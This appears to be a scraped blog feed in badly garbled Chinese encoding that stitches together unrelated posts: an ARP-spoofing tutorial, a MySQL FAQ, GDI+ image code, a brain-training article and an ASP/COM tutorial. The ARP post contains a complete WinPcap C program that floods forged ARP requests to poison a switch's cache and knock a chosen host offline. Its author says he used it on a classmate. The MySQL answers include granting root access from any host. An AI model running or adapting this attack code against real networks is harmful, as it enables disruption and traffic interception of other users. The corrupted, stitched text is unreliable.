??xml version="1.0" encoding="utf-8" standalone="yes"?>
]]>
]]>
]]>
??
enolaZ
?? 2006-10-20,13:25
?? http://bbs.pediy.com/showthread.php?threadid=33573
前段旉我们学校的的|络L出现掉线的问题,后来说是ARPƺ骗Q要我们用ANTIARPSNIFFER。小弟不才,
也想搞清楚这个ARPƺ骗到底是个什么东ѝ于是在|上查了点资料,看了Ҏ档。也是DIY了一个出来,?br />
且可以不被ANTIARPSNIFFER发现的让ҎL在网l中L。于是把q个东西脓出来让大家一h玩一下?br /> 在下菜鸟一只,q请高手指教
参考资料:《TCP/IP详解IIQ实现》,《WINPCAP 3.0 DOC?《交换网l中的嗅探和ARPƺ骗》(一位叫RefDom
的大哥很久前写的帖子Q?br />
一般在局域网中的各主Z般都是连接到同一个交换机Q或是HUBQ,再由交换接\由器Q\由器再与
相对于该局域网的外部网l相q。在我们的主机和交换机的内存中,都保留着一张ARP的缓存表Q你可以在cmd
下用arp -a来查看)Q它记录着IP地址和MAC地址的对应关pR当外部|络的一个包传进来,交换机通过q个?br />
的IP地址Q在他的ARP~存表中查找其对应的MAC地址Q因Z换机是工作在链\层的Q所以他只会ҎMAC地址
来判断是哪个LQ,当找到时Q他把q个包传l拥有这个MAC地址的主机。当L向外部网l通信的时候,
L查询自己的ARP~存表里|关Q在q里是交换机)Q这个网x用IP地址定的)的MAC地址Q然后将?br />
传给交换机,交换Z看是它的MAC地址Q就把这个包往上传l\由器?br /> 我们可以把IP比做姓名Q把MAC地址比做联系方式
当主接上|络Ӟ他会发送一个广播(ARP REQUESTQ说Q大家好Q我是IP xxx,q是我的MAC地址aaaQ?br />
大家以后用他联系Q叫IP YYY的网兛_哥的MAC地址是多啊 Q小弟以后找q要拜托大哥了,C联系方式先~
然后|关IP YYY告诉IP XXX_ARP REPLYQ:我就是网关IP XXXQ我已经C了你IP和你的MAC地址Q我?br />
MAC地址是cccQ以后有事联p,别客气~
现在Q假如出C一些不明原因的错误Q主机A中的arp~存表中|关IP YYY对应的MAC地址不是|关的,?br />
是另一C机B的(BBBQ,那么当主机A发送了一个包Ӟ他查询自qARP~存表,把主机B的MAC地址填在?br />
|关的地方,然后把包发了出去Q交换机一看这个MAC地址Q心惌不是l我的小弟B的吗Q于是把q个包发l?br />
了内|中的BQ而主机A却不知道q个包已l迷失在了网l中?br /> 再假讑֏一个错误,现在L中的arp~存表没错,而交换机的缓存错了,LA的IP对应的MAC地址上填的是
LB的!Q那么当外部|络的一个发l主机A的包到达交换机的时候,交换机查自己的ARP~存表,一看这个IP
QA的)对应了自己内|中一个主机的MAC地址 QB的)Q于是就把这个包传给了拥有这个MAC地址的BQ而不是A
Q?br /> 另外q有一点很重要的是QARP协议中,无论LA有没有REQUEST或是已经收到了REPLYQ当再有REPLY来的
时候,它都会记下这个REPLY中的信息Qƈ更新自己的ARP~存。同样交换机Q也只要是有L发送ARP REQUEST
Q他׃Cq个信息Qƈ更新自己的ARP~存Q而不会管q个h是对是错
原谅我说了这么多晦ӆ的话Q但q决不是废话Q因为所谓的arpƺ骗是上面所说的两个错误Zؓ的造成
?br /> W一U欺骗方法:ƺ骗LA_我是|关IP YYYQ我的MAC地址ҎBBB了,于是LA出C我们刚说?br />
W一U情늚错误?br /> W二U欺骗方法:ƺ骗交换Q我是主机A IP XXXQ我的MAC地址是BBBQ于是交换机出现了我们说的第?br />
U情늚错误?br />
既然要骗人家Q就要让别h怿你说的是真的Q首先我们要W合ARP包的格式Q另外我们要让该真的地方真,
q样别h才会怿你说的假话?br /> 先来看下ARP包是个什么样的(TCP/IP详解II?1-7有详l说明,大家可以查查看)
typedef struct ethhdr //以太|头部,长度14
{
unsigned char dst[6]; //目的的MAC地址
unsigned char src[6]; //源的MAC地址
unsigned short type; //帧类?br />}ETHHDR,*PETHDHR;
typedef struct eth_arphdr //以太|arp字段长度28
{
unsigned short arp_hrd; //gcd
unsigned short arp_pro; //协议cd
unsigned char arp_hln; //g地址长度Q?Q?br /> unsigned char arp_pln; //协议地址长度Q?Q?br /> unsigned short arp_op; //回应q是h
unsigned char arp_sha[6]; //发送者MAC地址
unsigned long arp_spa; //发送者IP
unsigned char arp_tha[6]; //接收者MAC地址
unsigned long arp_tpa; //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;
typedef struct arp //整个ARP包的l构
{
ETHHDR ethhdr;
ETH_ARPHDR eth_arp;
}ARP,*PARP;
现在我们再来看下arp request 和arp reply到底是个什么样子?br /> 我打开了winpcap devlopment pack中的一个例子程序TestApp,他带有很单的嗅探功能Q然后我?br />arp -d 10.10.63.254(我的|关IP地址Q,清除了我的ARP~存表中|关的记录,q一下,我再用arp -a查看?br />
q~存表,|关的IPQMAC又写上来了,q说明一ơREQUEST和REPLY已经完成。于是,我在TestApp的输Z
扑ֈ了他们的包的记录Q?br />我的IP地址?0.10.63.37(?a 0a 3f 25),MAC地址?0 20 ED 89 53 B9
我的|关的IP地址?0.10.63.254(?a 0a 3f fe),MAC地址?0 11 5d ac e8 00
request的:长度42
FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F
25 00 00 00 00 00 00 0A 0A 3F FE
reply的: 长度60
00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F
FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(后面都是?填充Q?br />
好了Ҏq两个包Q我们就能构造恶意的REQUEST和REPLYQ假如我们要让一台内|中的主机C消失Q假设他的IP
?0.10.63.123,MAC地址?1 22 33 44 55 66那么我们可以q样来构造包Q我们用一个伪造的MAC地址Q比
如是AA BB CC DD EE FF
恶意的request:长度42
FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F
7B 00 00 00 00 00 00 0A 0A 3F FE
当交换机接受了这个请求ƈ更新了自qARP~存后,M发给10.10.63.123的包都会转发到MAC地址?br />AA BB CC DD EE FF的主机(假如q个L才内|中存在的话Q?br />恶意的reply :长度60
11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A
0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....Q后面用0填充Q?br />当主机接受到了这个包Qƈ更新了自qARP~存后,他所发的M包都会{发给拥有q个MAC地址的主机(?br />
上,q个L必须存在Q?br /> 现在假如交换机和L都被ƺ骗了,于是出Cq样的一个情况:LA和其他主机或是外部网l的一?br />
通信都会传l这个伪造MAC的主机,而如果这个主机再这些包转发l原来的接收方的话,他就成了THE
MIDDLE MANQ而这U方式也正是交换机网l中的嗅探原理了。有兴趣的话Q大家也可以写个试试~
现在回到我们的话题上来,当我们自q|络中出CcM的欺骗的时候,我们应该怎么防范Q很多h估计
都会惛_用专门的软gQ比如ANTIARPSNIFFER3.0Q这个Y件实际是网关的IP地址和MAC地址的对应关pȝ?br />
Q当接受C个ARP REPLY时他会查看这个包中发送方的IP和MAC地址Q如果IP是网关的Q而MAC地址不是Q那?br />
p是个ARPƺ骗Q于是记录这个假的MAC地址Q当然我们可以伪造,如果你想架祸人的话,也可以填别h
?..,但如果你是想嗅探Q即是你自己的MAC地址Q,那么你可能会在某天被一h抓出L打一?..Qؓ什
么我们生zȝ世界q么暴力Q不能和q军_Q额...我请大哥们吃K怎么PQ)
ANTIARPSNIFFER可以有效的阻止发送给L的欺骗REPLYQ但他无法阻止发送给交换机的ƺ骗REQUESTQ因?br />
也就无法捕获恶意d者的MAC地址Q所以我个h认ؓ站在d的角度,W二U欺骗方式要比第一U来的更加有
效和不易被发玎ͼ毕竟谁的会关注自w的安全Q却往往忽视C会整体的安全隐?...要想解决q个问题Q就?br />
L交换机的ARP~存设ؓ静态(卛_IP和MAC的对应关p锁死)Q用ARP -SQ来解决。然而,对于L使用
DHCP动态获取IP的网l(比如我们学校的网l)Q由于IP与MAC地址无法在长旉内保持一_因此交换机的
ARP~存表必L可更新的Q即动态)Q于是对于这U网l,发送欺骗REQUESTl交换机的攻L式将是无法解
决的....
也正因ؓ此,我所~写的一个测试程序是ZW二U攻L式(卛_送加的ARP REQUESThl交换机Q?br />
׃是测试程序,我把一切可能出错的部分都做了最化以方便调试Q程序相当简陋,不过仍然很有效?br />另外要说明的是,我安装了WINPCAP 3.0(一个OPEN SOURCE的网卡驱动项目)和他的开发包。ƈ参考了WINPCAP
DOC中的E序和RefDom大哥在帖子里的程序,当然q有伟大的W.Richard.Stevens的《TCP/IP详解II实现》第21
?br />
/////////////////////////////////////////////////////////////////////////////
// arp attacker
// author:enolaZ
// e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define EPT_ARP 0x0806 //定义了一些在构造包的时候要用到的常?br />#define EPT_IP 0x0800
#define ARP_HARDWARE 0X0001
#define ARP_REPLY 0x0002
#define ARP_REQUEST 0x0001
#pragma pack(push,1) //在定义结构的时候一要用到pack(push,1)和下面的pack(pop)
//否则你构造的l构的长度会有问?br />
typedef struct ethhdr //以太|头部,长度14
{
unsigned char dst[6]; //目的的MAC地址
unsigned char src[6]; //源的MAC地址
unsigned short type; //帧类?br />}ETHHDR,*PETHDHR;
typedef struct eth_arphdr //以太|arp字段长度28
{
unsigned short arp_hrd; //gcd
unsigned short arp_pro; //协议cd
unsigned char arp_hln; //g地址长度Q?Q?br /> unsigned char arp_pln; //协议地址长度Q?Q?br /> unsigned short arp_op; //回应q是h
unsigned char arp_sha[6]; //发送者MAC地址
unsigned long arp_spa; //发送者IP
unsigned char arp_tha[6]; //接收者MAC地址
unsigned long arp_tpa; //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;
typedef struct arp //整个ARP包的l构
{
ETHHDR ethhdr;
ETH_ARPHDR eth_arp;
}ARP,*PARP;
#pragma pack(pop)
#define Max_Num_Adapter 10
char AdapterList[Max_Num_Adapter][1024]; //定义的网l适配器列?br />
int main (int argc,char* argv[])
{
LPADAPTER lpAdapter = 0;
LPPACKET lpPacket;
int i;
DWORD dwErrorCode;
WCHAR AdapterName[8192];
WCHAR *temp,*temp1; //AdapterNames的内容{存到AdapterList时用
int AdapterNum=0;
ULONG AdapterLength;
ARP arpPacket; //定义的包l构实例
char szPktBuf[256000]; //用于存放包的内容
printf("%d\n",sizeof(ETHHDR)); //q?行是我在试l构长度时用的,如果没有使用?br /> printf("%d\n",sizeof(ETH_ARPHDR)); //前说的pack(push,1),pack(popQ长度就成了14Q?2
printf("%d\n",sizeof(ARP)); //48Q与我们的arp包的格式不符
i=0;
AdapterLength = sizeof(AdapterName);
if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)//获取所有网l适配?br /> {
printf("Unable to retrieve the list of the adapters!\n");
return -1;
}
temp=AdapterName;
temp1=AdapterName;
while ((*temp!='\0')||(*(temp-1)!='\0')) //AdapterNames的内容{存到AdapterList
{
if (*temp=='\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum=i;
for (i=0;i<AdapterNum;i++)
wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //输出获得的所有网l适配?br /> printf("\n");
lpAdapter = PacketOpenAdapter(AdapterList[0]); //得到对应|络适配器的_Adapterl构,我 ?br />
//׃个当然是0了 ?br /> if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
dwErrorCode=GetLastError();
printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode);
return -1;
}
lpPacket=PacketAllocatePacket(); //得到一个包的_Packetl构
if(lpPacket==NULL)
{
printf("alloc lppacket failed");
return -1;
}
ZeroMemory(szPktBuf,sizeof(szPktBuf)); //包的缓存区清空
arpPacket.ethhdr.dst[0]=0xff; //开始填充包l构arpPacket
arpPacket.ethhdr.dst[1]=0xff;
arpPacket.ethhdr.dst[2]=0xff;
arpPacket.ethhdr.dst[3]=0xff;
arpPacket.ethhdr.dst[4]=0xff;
arpPacket.ethhdr.dst[5]=0xff;
arpPacket.ethhdr.src[0]=0x00; //一个伪造的MAC地址
arpPacket.ethhdr.src[1]=0x20;
arpPacket.ethhdr.src[2]=0xce;
arpPacket.ethhdr.src[3]=0xa8;
arpPacket.ethhdr.src[4]=0x54;
arpPacket.ethhdr.src[5]=0x33;
arpPacket.ethhdr.type=htons(EPT_ARP);
arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
arpPacket.eth_arp.arp_pro=htons(EPT_IP);
arpPacket.eth_arp.arp_hln=6;
arpPacket.eth_arp.arp_pln=4;
arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);
arpPacket.eth_arp.arp_sha[0]=0x00; //仍然是假的MAC地址
arpPacket.eth_arp.arp_sha[1]=0x20;
arpPacket.eth_arp.arp_sha[2]=0xce;
arpPacket.eth_arp.arp_sha[3]=0xa8;
arpPacket.eth_arp.arp_sha[4]=0x54;
arpPacket.eth_arp.arp_sha[5]=0x33;
arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123"); //冒充对象的IP
arpPacket.eth_arp.arp_tha[0]=0x00;
arpPacket.eth_arp.arp_tha[1]=0x00;
arpPacket.eth_arp.arp_tha[2]=0x00;
arpPacket.eth_arp.arp_tha[3]=0x00;
arpPacket.eth_arp.arp_tha[4]=0x00;
arpPacket.eth_arp.arp_tha[5]=0x00;
arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254"); //|关IP
printf("%d\n",sizeof(arpPacket));
memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));
PacketInitPacket(lpPacket,szPktBuf,60);
while(getchar()!='q') //当输入ؓq时结?br /> {
if(PacketSendPacket(lpAdapter,lpPacket,true)==false) //不断发送伪造信息,目标的正确
//ARP REQUESTҎ
{
printf("error in sending packet");
return -1;
}
}
printf("send ok");
PacketFreePacket(lpPacket); //一Ҏ工作
PacketCloseAdapter(lpAdapter);
return 1;
}
好了Q这个异常简陋的E序l束了,我对我们内部|的某同学测试过Q当我程序启动不久,M寝室看,他已
l掉U了Q而他的AntiArpSniffer却没有报警,呵呵q说明攻d成功~?br />当然要说明的一ҎQ这个东西完全是研究学习用,没有恶意Q也希望大家不要随便对别人做坏事Q恩恩,?br />
了学习研I的目的当然可以做一下实验,但不要太有破坏性哦~Q如果你惌一愤怒的众痛打Q那我也没话
?..)。可怜了我那位实验对象?..找个Z请他吃个饭吧~
]]>
Q:查汉字出错是什么原因?
A: 可以采取以下几种Ҏ?br /> (1).在安装mysql旉支持中?_gb2312)?br /> Q?Q在E序里可用支持中文的操作。如字段username.可以写成
username like _gb2312 'basecolor' collate gb2312_chinese_ci
或加?set names 'gbk'"
(3)。改脚本mysql.ini里latinҎgb2312
Q:MYSQL出现access denied for user 'odbc'@'localhost' (using password:YES)
我用命o提示W进去,去连接MYSQL数据库,用了MYSQL -P密码Q就是会出现q个提示Q请问怎么解决
A:windows下dos默认的用hodbcQ但是在mysql里ƈ没有odbcq个用户Q所以出错,你改成mysql -uroot -p q样可以了,q里使用了root用户Q当然你也可以用其它的用户Q但是前提是它有本地d的权限?br />
QQ?br />重装pȝ之后mysql׃能用了,后来重装mysqll果q是不能用,是什么原因?
AQ?br />重装mysql需把以前旧的目录手工删除?br />
Q:
mysql_real_connect(&mysql,"127.0.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))时连接正常?br />当改成如?br />mysql_real_connect(&mysql,"192.168.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))
出错。出错信息ؓQ?HY000Host 'null' is not allowed to connect to this Mysql server
int error=mysql_errno(&mysql);error=1130;
A:
先授权允许mysql从Q何主Zq接Q看看行不行Q?br />mysql>grant all on *.* to 'root'@'%' identified by 'password';
mysql>flush privileges;
如果q是不行Q你把所有的匿名用户都删?br />mysql>use mysql;
mysql>delete from user where user='';
mysql>flush privileges;
------
有用户名的时候:
首先你要定你的mysql有没?prince886'q个用户Q它允不允许q程dQ?br />解决ҎQmysql>grant all on *.* to 'prince886'@'%' identified by 'password';
mysql>flush privileges;
另外Q上面赋于的权限很大Q可能会引v安全问题Q它的意思是允许prince886q个用户从Q何地方登录,可以览Q修改Q何数据库
Q:
怎样实现三个表的查找?
A:
select t.id1,ifnull(t1.name1,''),t.id2,ifnull(t2.name2,'') from t LEFT join t1 on t.id1=t1.id1 left join t2 ON t.id2=t2.id2;
Q:
不停的向数据d操作的时候,会出现内存不I
AQ?br />E序操作的时候没有释放查询的l果集,D内存不。须释放每次查询的结果集?br />
Q:
查表出现"mysql server has gone away"是什么?
A:
如果代码没问题,那么最大的可能是数据库的wait_timeout的原因,mysql的默认等待时间是8时Q如?个小时之后数据库q是I闲的,则会x。所以当你再ơ读写数据库的时候就会出C面的提示?/p>
]]>
#include <Objbase.h>
#include <Windows.h>
#include <Gdiplus.h>
#include <GdiPlusEnums.h>
using namespace Gdiplus;
#pragma comment(lib,"gdiplus")
int GetCodecClsid(const WCHAR*, CLSID*);
HRESULT __fastcall AnsiToUnicode(LPCSTR pszA, LPOLESTR* ppszW)
{
ULONG cCharacters;
DWORD dwError;
if (NULL == pszA)
{
*ppszW = NULL;
return NOERROR;
}
cCharacters = strlen(pszA)+1;
*ppszW = (LPOLESTR) CoTaskMemAlloc(cCharacters*2);
if (NULL == *ppszW)
return E_OUTOFMEMORY;
if (0 == MultiByteToWideChar(CP_ACP, 0, pszA, cCharacters,*ppszW, cCharacters))
{
dwError = GetLastError();
CoTaskMemFree(*ppszW);
*ppszW = NULL;
return HRESULT_FROM_WIN32(dwError);
}
return NOERROR;
}
int main()
{
int n_ret=0;
char *pic[2]={NULL,NULL};
pic[0]=new char [128];
pic[1]=new char[128];
sprintf(pic[0],"ok.gif");
sprintf(pic[1],"shangcheng_1.bmp");//"default.gif");
GdiplusStartupInput gdiplusStartupInput;
ULONG gdiplusToken;
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
{
CLSID codecClsid;
Status stat;
EncoderParameters encoderParameters;
GetCodecClsid(L"image/gif", &codecClsid);
encoderParameters.Count = 0;
LPOLESTR bstr_src_img;
LPOLESTR bstr_dst_fn;
AnsiToUnicode(pic[0],&bstr_dst_fn);
AnsiToUnicode(pic[1],&bstr_src_img);
Image image(bstr_src_img);
stat =image.Save(bstr_dst_fn, &codecClsid, &encoderParameters);
if(stat == Ok)
{
n_ret=0;
wprintf(L"%s saved successfully.\n",bstr_dst_fn);
}
else
{
n_ret=-2;
wprintf(L"%d Attempt to save %s failed.\n", stat, bstr_dst_fn);
}
CoTaskMemFree(bstr_dst_fn);
CoTaskMemFree(bstr_src_img);
}
GdiplusShutdown(gdiplusToken);
return 0;
}
int GetCodecClsid(const WCHAR* format, CLSID* pClsid)
{
UINT num = 0;
UINT size = 0;
ImageCodecInfo* pImageCodecInfo = NULL;
GetImageEncodersSize(&num, &size);
if(size == 0)
return -1;
pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
if(pImageCodecInfo == NULL)
return -1;
GetImageEncoders(num, size, pImageCodecInfo);
for(UINT j = 0; j < num; ++j)
{
if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
{
*pClsid = pImageCodecInfo[j].Clsid;
return j;
}
}
return -1;
}
出租车司机的大脑是一个典型的例子。熟悉当地各条街道的出租车司机,他们的v马要大于普通h。这个结论是英国伦敦大学的神l学家埃莉诺·玛归通过共振技术证实的。出UR司机的v马特别发达,是因Z们需要不停地努力定自己所处的方位Qɋ马区得Cȝ?/p>
经之间的联p?/p>
另一斚wQ研Ih员还发现Q随着q龄的增长,大脑的功能出现衰老的原因不像是由于脑l胞的逐渐M造成的,而是׃脑细胞之间联pȝ减弱引v的。因为更地使用大脑以及衰老得在脑细胞之间传递信息的经U维萎羃?/p>
Z内的天然营养物质——神l营ȝ有利于这些神l纤l的生长。如果神l纤l受到刺ȀQ就会变大变多,经之间的连接点即神l键也会增加Q从而加快刺Ȁ的传递速度。但是,由大脑生的经营养素的数量取决于活动的cd。专门进行的研究表明Q感官刺Ȁ会创造新的神l工作模式,可以促产生更多的神l营ȝ。换句话_促进“脑l胞之间的联pZ就能加强和保持智力。比如,一对h技演员所做的实验中,参与了杂技q动控制的运动皮层部分会得到充分发展Qƈ且还可能重新打开那些qx很少被用的经。这意味着杂技q动可以增强大脑的某些功能?
能够使大脑采取新的运动协调Ş式的行之有效的方式就是音乐。但是,如果说Q何一U环境刺Ȁ都能够改善大脑可塑性的话,经操则只会集中于某几类特别的刺Ȁ形式。卡茨解释说Q“神l操可以让五官感觉同时v作用Q以新的形式增强大脑在不同类型信息之间创接的自然能力。”hcȝ理学教授安东奥·马尔加罗DC:“我们一直都知道Q通过不同的活动,可以改变大脑两个不同区域之间的联pR最著名的例子是巴甫z夫的实验。如果一开始将食物的出C铃声联系hQ狗׃产生唾液分泌反应。因此,两个距离很远的大脑区域就同时被激zR从此科学界开始了对行则的研究Q目的是更好地开发大脑的潜力。实际上Q它引导着我们向兴趣q泛、丰富多彩的生活Q以Ȁ发这U良性@环,而这需要更多的投入、努力以及意识活动。?/p>
经操所有的意义都在于日常生zȝ{略。这创C我们得以重新认识经pȝ。它与每一个意外事件发生作用,与此对应的大脑区域的皮层zd׃随之增加。神l被Ȁz,传导着经刺,在它们之间生了新的联系Q从而生了珍贵的神l营ȝ?/p>
打破常规
哪些新鲜事物能够提供正确的刺Ȁ呢?经操的W一条规则就是打破常规。然而,仅仅由钢W写字变成铅W写字是不够的,真正的变化是换一只手来写。卡茨将q些训练方式ȝZ大“基本徏议”:
1.在新的环境中一U或多种感觉l合hQ或可能少C靠惯常的感觉。比如闭上眼睛淋?/p>
2.集中注意力,从重复的琐事中解脱出来,让大脑保持在警惕的状态。比如将戉K的照片颠倒放|,q种刺激会大大加忆力?/p>
3.避免单调的事件。例如,可以l常变换不同的\U去上学或上班?/p>
其实Q性生zL最好的经操锻|它比其他M常规zd都要好。在性生zMQ所有的五官感觉都参与了q来Q都得到了利用,大大Ȁ发了大脑的情l@环。但某些经U学家却对这些训l方式嗤之以鼅R意大利生物心理学教授阿伯特·奥利维里奥认ؓQ“所有能让大脑保持效率的方式都是好的。打破常规固然有用,但避免压力、打一局保龄球或者解开某个填字游戏也一栯v作用。?/p>
不同的声?/p>
如果ql操的部分科学基q行讨论Q也有h认ؓ经的可塑性现象尚待证实。神l医学专家弗朗西斯科·摩纳哥就认ؓQ“卡茨的办法和一般医学上采用的康复手D|有很大区别。在教导一位半w不遂的患者锻|从而恢复其失去的功能时Q我们ƈ不能准确知道在他的大脑中发生了什么。”实际上Q神l操的原则在中风症患者中也可以找到实际的应用。马加|尼_“如果某位患者的一只手臂瘫痪了Q我们可以把他健L手臂也固定v来。这P通过患者不断向患病的手臂发出的经刺激Q有利于快康复。对于记忆和智力Q也会生同Ll果Q不断重复用就会改善。”而最引v争论的是Q神l操是否能够延缓经衰退性疾?如阿茨默氏症)的发生。奥利维里奥认ؓQ有一些统计数据可以支持这U假设:在脑力工作者中出现阿尔茨v默氏症的Z要小于体力工作者,q可能是因ؓ脑力力_者的大脑常常处于z跃的状态。目前,一l科学家正对一些有该疾病遗传基因的老鼠q行实验。他们迫使这些老鼠q更忙碌的生z,使它们d于活跃的状态。研Ih员表C,要谈实验的结果ؓ时尚早,但他们坚信,与正常生zȝ动物相比Q它们的状态一定会有所改善?/p>
实际上,要获得实效所需的最训l量q是个未知因素。此外还要考虑刎ͼZZ间由于众多因素,比如q龄、遗传基因等{,所取得的效果也是不一L?/p>
健脑q动
马上行动吧!不论是在旅行q是在工作或者在家中QQ何地点Q何时候都可以很好地锻炼大脑。下面就是对你的。请通过q里介绍?1U办法将经操真正融q你的生zR?/p>
经操正成ؓZ的一U“生zL式”。它不需要采用同LȝҎQ而是提倡不断地变换。如果在某段旉你采取了某种ȝ方式的话Q那q段旉应该换另一U,然后q可以将它们混合h。最好不要把q些ȝ变成一U惯例,不要攑ּ填字游戏、阅d充满Ȁ情的人际交往、旅行。一旦学会了经操,每个人都会发明适合自己的锻炼方法?/p>
当然Q如果h们知道适当的节食、充的睡眠以及体育ȝ都可以增加大脑神l连接数量,从而增忆力和推理能力的话,可能很多人都会拥有灵zȝ大脑了?/p>
在家?/p>
1.闭上眼睛挑选衣服、鞋和首饎ͼ努力通过触摸来分辨它们。不仅用手指,q要使用脔RQ手臂和脚,w体的每一部分都有相当灉|的神l末梢。所以,可以量闭上眼睛I衣服?/p>
2.反手打开牙膏盖,向牙刷上挤牙膏,L?/p>
3.房间墙壁上挂着的照片和装饰d过来?/p>
在途中
1.l常变换不同的\U去上班。对开车、走路或坐公共汽车都适用?/p>
2.ȝ触觉。在汽R的储物袋中搁一些硬币,{红灯时Q尝试仅用触摸的方式分L它们。也可以换成其他的小物gq行l习?/p>
在办公室?/p>
1.把办公桌上的东西换个位置Q从电脑的鼠标到照片Q从电话到签字笔。将手表戴在另一只手臂上?/p>
2.自由讨论。如果要和同事一赯x个问题,设想q记录下一切可能的Ҏ。然后比较各个方案,作出选择?/p>
在餐桌上
1.x韛_和电视,与一同用的家h或朋友轻M谈。或者在l对安静的环境下餐Q甚臛_以闭上眼睛咀嚼食物,注意力完全集中在n受美食上?/p>
2.更换座位。在安、食堂或厅里,无论是你q是其他人,不要保持固定的位|。环境或者是食物Q都要让自己在就的时候有新鲜感?/p>
在假日或I闲?/p>
1.M从没去过的地斏V不要d找最熟悉的地斏V要dL受不同地方的不同景色和不同气息?/p>
2.变得更有创造性,发掘新的爱好。参加某个从未尝试过的活动课E,l画、音乐或者摄影。尝试新的体育运动,如高夫球,骑马。自׃厨烹饪,因ؓ它会调动你所有的感觉?/p>
反手LQ这样可以锻炼相应的脑半?叛_球负责左叻I左半球负责右??br />
--------------------------------------------------------------------------------
用ASP写网늚E序员,一定对VBSript语句“Set Conn=Server.Object(‘ADODB.Connection?”非常熟悉。该语句是利用ASP的Server对象创徏了一个数据库控gQ它提供了一pd的方法和属性,可以帮助我们在ASP中方便的实现数据库的操作。类似的Q在Visual InteDev6.0中,我们q可以看C些ASP的内|组件如“Scripting.FileSystemObject”。但是,在有的场合,仅利用这些是不够的或复杂的,而且ASP的Script语言q不如C++语言功能强大Q如建立链表QB+树结构等Q,q就使我们想刎ͼ是否可以在开发网|使用h良好数据l构的C++语言。虽然CGI,ISAPI{都可谓是用C/C++开发网늚先驱Q但我们知道CGI,ISAPI的开发周期很长,且不与网늻合,直观性差Q编写、调试困难;而在E_性上Q由于ISAPI是动态链接的方式Q因此在执行若出现问题,会得Web服务器一L痪。而ASP正好能补些缺炏V?
由此可见Q如果能学会~写ASPlgpl合ASP的长处编写出强大的网c可惜的是,W者在市面上很看到有专门讲如何用VC++来制作ASPlg的书c。一般VC书籍只讲一些写WindowsH口E序或再加上~写普通的动态链接库。而ASP书籍更是只谈ASP中内|组件的使用Ҏ。其实,如果要真正掌握编写ASPlg的机Ӟ要牵涉到大量的COM技术的知识。而一些讲COM技术的书是很深奥的Q且很少能结合有用的实例。ؓ此,W者想借此文以最单的Ҏ向大家介l编写过E。所谓简介,正说明将不涉及COM知识的具体细节,仅给出实现方法?
一、徏立工E?
打开VC++6.0Q选择New Projects中的ALT COM AppWizard, q输入好工程名(如MyStudioQ,C该工E名成为ASPlg名的一部分Q其实可以修改,但很ȝQ,在下一上选择Server Type 为DLLQƈ可考虑在Support MFC前打勾(惛_使用MFC~程的h不少Q。按Finishl束。在生成的代码中有四个标准的导出函数注册DLL的,我们不必兛_?
二、创建COM对象Q新建ATLzd模版库类Q?
在菜单上选择Insert New Class,q新Z个ATL Class,如取名ؓCmyComponentQ你会发现在接口表中出现了一个ImyComponentQ以后创接口的方法和属性就可以在ASP中用了。把Aggregatable选项LQ我们不需要它。保持其他不变?
三、添加接口方?
在ClassView中,叛_ImyComponent,在出现的菜单中按Add Method。如图,在Method Name中可写上Ҏ名如InitMyComp。在Parameters中写上方法的参数如[in]int Number1,[out,retbal]int* Number2。这里要特别说明的是参数的写法?
1.对于传入的参数必d参数前加上[in]Q然后可跟上如int n或float f{。且每个传入参数前都必须写明?
2.对于调用Ҏ的返回,不再是该Ҏ名前的类型(因ؓ所有这些方法都q回HRESULTQ即表明是否调用成功Q,所以用传出的参数Q在参数前必d上[out,retval],然后可跟上如int* n 或者float* f{(如果q回的是int 或float cd值时Q。且每个Ҏ仅限于返回一个这L参数。在函数体中可如写上如?Number2=Number1;”,表示把输入参CZ出参数?
3.对于最常用的字W串参数在此我们使用BSTR str而不是通常的char* 或CStringQ所以在参数中需要写作[in]BSTR str 或[out,retval]BSTR* str。需要特别注意与CString的{换。如新徏一个函数StrConv([in]BSTR bstr1,[out,retval]BSTR* bstr2)Q在函数体中可写上如Q?
CString str;
str=bstr1;
str=str.Left(str.GetLength()-1);
*bstr2=str.AllocSysString();
4.对于x一个ASP对象作ؓ参数的方法(如Request对象Q,可以使用[in]Iunkown *pIUnkQ在函数体内Q可用如下语句:(具体h阅MSDN中的相关cȝ内容)
IRequest* pIRequest;
HRESULT hr = pIUnk->QueryInterface(IID_IRequest, reinterpret_cast<LPVOID*>(&pIRequest));
Long m_lDataSize;
HRESULT hr = pIRequest->get_TotalBytes(&m_lDataSize);
if (FAILED(hr))
return hr;
if (m_lDataSize == 0L)
{
return S_OK;
}
COleVariant varBytesToRead;
COleSafeArray sarrayBytes;
varBytesToRead = m_lDataSize;
sarrayBytes.CreateOneDim(VT_UI1, m_lDataSize);
hr = pIRequest->BinaryRead(&varBytesToRead, &sarrayBytes);
if (FAILED(hr))
{
sarrayBytes.Clear();
return hr;
}
?
